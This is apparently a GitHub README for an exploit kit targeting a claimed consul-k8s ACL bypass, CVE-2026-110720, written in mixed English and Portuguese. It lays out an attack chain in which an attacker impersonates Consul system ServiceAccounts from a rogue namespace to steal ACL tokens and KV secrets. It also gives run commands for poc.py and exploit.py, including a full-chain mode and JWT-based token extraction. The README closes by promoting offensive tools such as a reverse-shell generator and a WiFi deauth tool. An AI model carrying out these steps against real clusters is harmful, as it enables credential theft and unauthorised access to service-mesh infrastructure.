CVE-2026-110720 - HashiCorp consul-k8s Cross-Namespace ACL Bypass PoC & Exploit
ClusterRoleBindings without namespace restrictions allow any ServiceAccount to bypass Consul ACLs in Kubernetes clusters.
CVE-2026-110720 v3.0.0 | consul-k8s Cross-Namespace ACL Bypass
By Gh0st-Bx1 | github.com/Ghost-Bx1
consul-k8s (versions 0.42.0 to 2.0.4) generates ClusterRoleBindings and ServiceAccounts for Consul's internal components without restricting the binding by namespace. When global.acls.manageSystemACLs=true is enabled, a ServiceAccount created in any namespace can authenticate to the Consul server as if it were a system component, completely bypassing the ACL namespace.
| Field | Value |
|---|---|
| CVE | CVE-2026-110720 |
| CVSS | 9.9 (CRITICAL) |
| CWE | CWE-863 (Incorrect Authorization) |
| Advisory | HCSEC-2026-50 |
| Vendor | HashiCorp |
| Product | consul-k8s |
| Requires | K8s: create SA + obtain token in another namespace + network access to Consul API |
| Date | October 2026 |
| Version | Status |
|---|---|
| consul-k8s 0.42.0 - 2.0.4 | Vulnerable |
| consul-k8s >= 2.1.0 | Fixed |
| consul-k8s >= 1.8.18 (backport) | Fixed |
Cluster K8s com consul-k8s + manageSystemACLs=true
|
v
consul-k8s cria ClusterRoleBinding sem restricao de namespace:
subjects:
- kind: ServiceAccount
name: consul-server-acl-init
namespace: consul <-- sem validacao de outros namespaces
|
v
Atacante cria namespace "evil-ns" e SA "consul-server-acl-init"
|
v
Atacante cria ClusterRoleBinding apontando seu SA
para o ClusterRole do Consul
|
v
Token do SA do atacante autentica como componente de sistema
no servidor Consul ACL
|
v
Acesso a: ACL tokens, service mesh policies, KV store secrets
| ServiceAccount | Privilege |
|---|---|
| consul-server-acl-init | Bootstrap ACL |
| consul-client-acl-init | Client registration |
| consul-connect-inject-acl-init | Service mesh tokens |
| consul-sync-catalog-acl-init | Catalog sync |
python poc.py --check-install --namespace consul
python poc.py --list-bindings --namespace consul
python poc.py --check-acl --namespace consul
python poc.py --gen-sa --attacker-ns evil-ns --output /tmp/bypass.yaml
kubectl apply -f /tmp/bypass.yaml
python exploit.py --check --namespace consul
python exploit.py --exploit --namespace consul --attacker-ns ghost-exploit-ns
python exploit.py --full-chain --namespace consul
# Apos obter o token K8s do SA comprometido:
python exploit.py --consul-extract <k8s-jwt-token> --namespace consul
python exploit.py --cleanup --attacker-ns ghost-exploit-ns
# Verificar bindings vulneraveis
kubectl get clusterrolebinding -o json | jq '.items[] | select(.metadata.name | contains("consul")) | .subjects'
This repository is for educational and security research purposes. Use only in authorized environments with explicit permission. The author is not responsible for misuse.
| Tool | Description |
|---|---|
| ghost-ad | Active Directory - LDAP, Kerberoasting, AS-REP Roasting, BloodHound-lite |
| ghost-cloud | Cloud Security - AWS, Azure and GCP misconfiguration scanner |
| ghost-fuzz | Web Fuzzing - directory brute-force, parameter fuzzing, vhost enumeration |
| ghost-osint | OSINT - domain, email and IP intelligence from public sources |
| ghost-privesc | Privilege Escalation - Linux privesc checker, 17 vectors, GTFOBins |
| ghost-recon | Reconnaissance - DNS, SSL, WAF, subdomain enumeration, email security |
| ghost-report | Reporting - pentest report generator from any ghost-* JSON output |
| ghost-scan | Port Scanner - async TCP/UDP scanner with banner grabbing and CVE correlation |
| ghost-shell | Payload Generation - reverse shell and web shell generator, 25+ languages |
| ghost-spray | Credential Attacks - password spraying, stuffing, default credential testing |
| ghost-wifi | WiFi Attacks - monitor mode, deauth, WPA/WPA2 capture, PMKID, WPS, Evil Twin |
By Gh0st-Bx1